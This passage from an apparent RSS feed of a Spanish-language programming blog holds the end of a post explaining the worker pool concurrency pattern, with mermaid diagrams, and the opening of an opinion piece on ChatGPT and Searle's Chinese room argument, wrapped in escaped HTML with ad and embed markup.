&#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Esto puede pintar bastante bien, al principio, pero tiene múltiples desventajas; La primera, se estarán creando workers sin control, lo que puede incrementar el uso de memoria de tu programa increíblemente rápido; la segunda, estás creando y destruyendo workers constantemente, lo cual puede ser costoso para tu programa.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/worker-pool-design-pattern-explanation/images/workers-vs-memoria.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/worker-pool-design-pattern-explanation/images/workers-vs-memoria.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Si no hay un límite de workers, los workers seguirán creandose para igualar a las tareas&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Si no hay un límite de workers, los workers seguirán creandose para igualar a las tareas&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Lo mejor sería mantener el uso de memoria constante y evitar crear y destruir workers frecuentemente. Para esto, el patrón worker pool funciona perfecto.&lt;/p&gt;&#xA;&lt;h2 id=&#34;explicacion-interactiva-del-patron-worker-pool&#34;&gt;Explicación interactiva del patrón Worker pool&lt;/h2&gt;&#xA;&lt;div id=&#34;app-worker-pool&#34;&gt;&lt;/div&gt;&#xA;&lt;script type=&#34;module&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/raw/upload/v1760636200/coffee-bytes/index-CBAUHLL7_qlfk88.js&#34;&gt;&lt;/script&gt;&#xA;&#xA;&lt;p&gt;Worker pool es un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/patrones-de-diseno-o-software-design-patterns/&#34;&gt;patrón de diseño&lt;/a&gt;&#xA; que viene para suplir estas deficiencias.&lt;/p&gt;&#xA;&lt;p&gt;Hay desarrolladores que han usado este patrón para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://marcio.io/2015/07/handling-1-million-requests-per-minute-with-golang&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;manejar un millón de peticiones por minuto en go.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;como-funciona-el-patron-de-diseno-worker-pool&#34;&gt;¿Cómo funciona el patrón de diseño worker pool?&lt;/h2&gt;&#xA;&lt;p&gt;Partimos de una cola de tareas por ejecutar, estas pueden estar fijas o crearse dinámicamente. Luego, en lugar de crear y destruir múltiples workers (&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-introduccion-a-las-goroutines-y-concurrencia/&#34;&gt;goroutines en el caso de go&lt;/a&gt;&#xA;) constantemente, creamos un &lt;strong&gt;número fijo de workers&lt;/strong&gt; y las ponemos en un ciclo, en el que estarán escuchando constantemente información de la queue o cola de tareas (por medio de un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-uso-de-channels-o-canales-para-comunicar-goroutinas/&#34;&gt;canal o channel en el caso de lenguajes como Go&lt;/a&gt;&#xA;). De esta manera mantendremos nuestro manejo de memoria mucho más estable y predecible, además de que limitamos el impacto que ejercerían la creación y destrucción constantes de workers.&lt;/p&gt;&#xA;&lt;p&gt;Por último, de manera opcional, podemos guardar los resultados de estas tareas en una cola desde la cual podrán ser leídos más adelante.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;flowchart TD&#xA;    Job_1--&gt;JobQueue&#xA;    Job_2--&gt;JobQueue&#xA;    Job_3--&gt;JobQueue&#xA;    subgraph WorkerPool&#xA;    JobQueue--&gt;|job|Worker_1&#xA;    JobQueue--&gt;|job|Worker_2&#xA;    JobQueue--&gt;|job|Worker_n&#xA;    end&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;job-queue&#34;&gt;Job queue&lt;/h3&gt;&#xA;&lt;p&gt;Las tareas o jobs que queremos que se ejecuten por los workers se irán a una cola de tareas o job queue. Una queue normalita, como cualquier otra. Esta puede ser fija, o crearse al vuelo por medio de interacciones de los usuarios u otros sistemas.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;classDiagram&#xA;class JobQueue{&#xA;    job 1&#xA;    job 2&#xA;    job 3&#xA;    ...&#xA;    job n&#xA;}&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h3 id=&#34;el-pool&#34;&gt;El pool&lt;/h3&gt;&#xA;&lt;p&gt;El pool inicializa y alberga el número de workers que establezcamos, generalmente querrás usar un archivo de configuración, variables de entorno u otro medio. Cada uno de estos workers tomará una tarea, la ejecutará y, cuando vuelva a estar disponible, buscará nuevamente una tarea del job queue para ejecutar y repetir el ciclo.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;flowchart TD&#xA;    subgraph Pool&#xA;    JobQueue--&gt;|job|Worker_1&#xA;    JobQueue--&gt;|job|Worker_2&#xA;    JobQueue--&gt;|job|Worker_3&#xA;    JobQueue--&gt;|job|Worker_4&#xA;    JobQueue--&gt;|job|Worker_n&#xA;    end&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;el-worker&#34;&gt;El worker&lt;/h3&gt;&#xA;&lt;p&gt;El worker se encarga de ejecutar las tareas y, como mencioné, estará escuchando por nuevas tareas o jobs permanentemente o hasta cierto límite que nosotros indiquemos, como que se agote el job queue, se ejecuten un número dado de tareas o cualquier otra condición que declaremos.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;flowchart TD&#xA;    A[Se inicializa el worker] --&gt; B{Quedan jobs o tareas en el queue?}&#xA;    B --&gt;|Sí| C[Obtén y ejecuta un nuevo job o tarea]&#xA;    C --&gt; B&#xA;    B ----&gt;|No| E[Termina el worker]&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;La cantidad fija de workers asegúrara que, durante toda la ejecución del programa, habrá una cantidad máxima de tareas ejecutándose, lo que limitará el impacto en memoria de nuestras tareas concurrentes.&lt;/p&gt;&#xA;&lt;h3 id=&#34;el-queue-de-resultados-del-worker-pool-opcional&#34;&gt;El queue de resultados del worker pool (opcional)&lt;/h3&gt;&#xA;&lt;p&gt;De manera opcional, podemos mandar el resultado de cada tarea ejecutada por un worker a un segunda cola; el queue de resultados, el cual podremos procesar posteriormente.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;classDiagram&#xA;class ResultsQueue{&#xA;    result 1&#xA;    result 2&#xA;    result 3&#xA;    ...&#xA;    result n&#xA;}&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Este patrón de diseño es muy útil cuando hay que procesar candidades enormes de tareas y cuando no queremos sobrecargar el sistema. Y, como puedes suponer es bastante popular y útil en lenguajes de programación que utilizan fuertemente la concurrencia, tales como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;el lenguaje de programación Go.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Esta entrada va sobre un patrón de diseño, llamado Worker Pool (Piscina de workers o trabajadores suena espantoso, lo usaré en inglés) del que, en su momento, encontré muy poca información en español. Imagínate que tienes una serie de tareas concurrentes que quieres realizar, ya sea realizar crawling de muchos sitios web, o quizás procesar información de cada uno de los pixeles de una imagen o cualquier otra cosa que se te ocurra.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Chat Gpt, La Habitacion China De Searle y la consciencia</title>
      <link>https://coffeebytes.dev/es/artificial-intelligence/chat-gpt-la-habitacion-china-de-searle-y-la-consciencia/</link>
      <pubDate>Wed, 19 Apr 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/artificial-intelligence/chat-gpt-la-habitacion-china-de-searle-y-la-consciencia/</guid>
      
      <category>artificial intelligence</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Chat GPT y la inteligencia artificial están en boca de todos, algunos le tienen miedo, por su &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/pongo-a-prueba-a-chatgpt-con-desafios-de-codigo-de-codewars/&#34;&gt;capacidad para resolver problemas de código&lt;/a&gt;&#xA; a otros les entusiasma el potencial que tiene para cambiar el mundo laboral y sus numerosas aplicaciones; tales como el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/inteligencia-artificial-y-diseno-de-farmacos-y-medicamentos-para-desarrolladores/&#34;&gt;desarrollo de nuevos fármacos&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/Cq3EOQog9aw&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/Cq3EOQog9aw&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;p&gt;Hoy dejo de lado las consecuencias económicas de la IA y la pregunta sobre si &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;estamos en una burbuja de IA o no&lt;/a&gt;&#xA;, para centrarme en el aspecto filosófico de Chat GPT y reflexionar un poco sobre la pregunta: ¿entiende realmente Chat GPT el lenguaje? O dicho de otra forma: ¿es consciente Chat GPT?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;What a typical “learning machine” does, is finding a mathematical formula, which, when applied to a collection of inputs (called “training data”), produces the desired outputs -The Hundred-Page Machine Learning Book, Adriy Burkov&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;h2 id=&#34;la-habitacion-china-de-john-searle-o-porque-las-maquinas-dan-la-ilusion-de-pensar&#34;&gt;La habitación china de John Searle o porque las máquinas dan la ilusión de pensar&lt;/h2&gt;&#xA;&lt;p&gt;John Searle, fue un filósofo que se preguntó si una computadora puede entender realmente el lenguaje. Y para esto diseñó un experimento mental muy interesante:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/images/la-habitacion-china-de-searle.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/images/la-habitacion-china-de-searle.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Imagen de la habitación china de Searle generada con Dall-E&#34; width=&#34;1024&#34; height=&#34;1024&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Imagen de la habitación china de Searle generada con Dall-E&lt;/p&gt;&#xA;    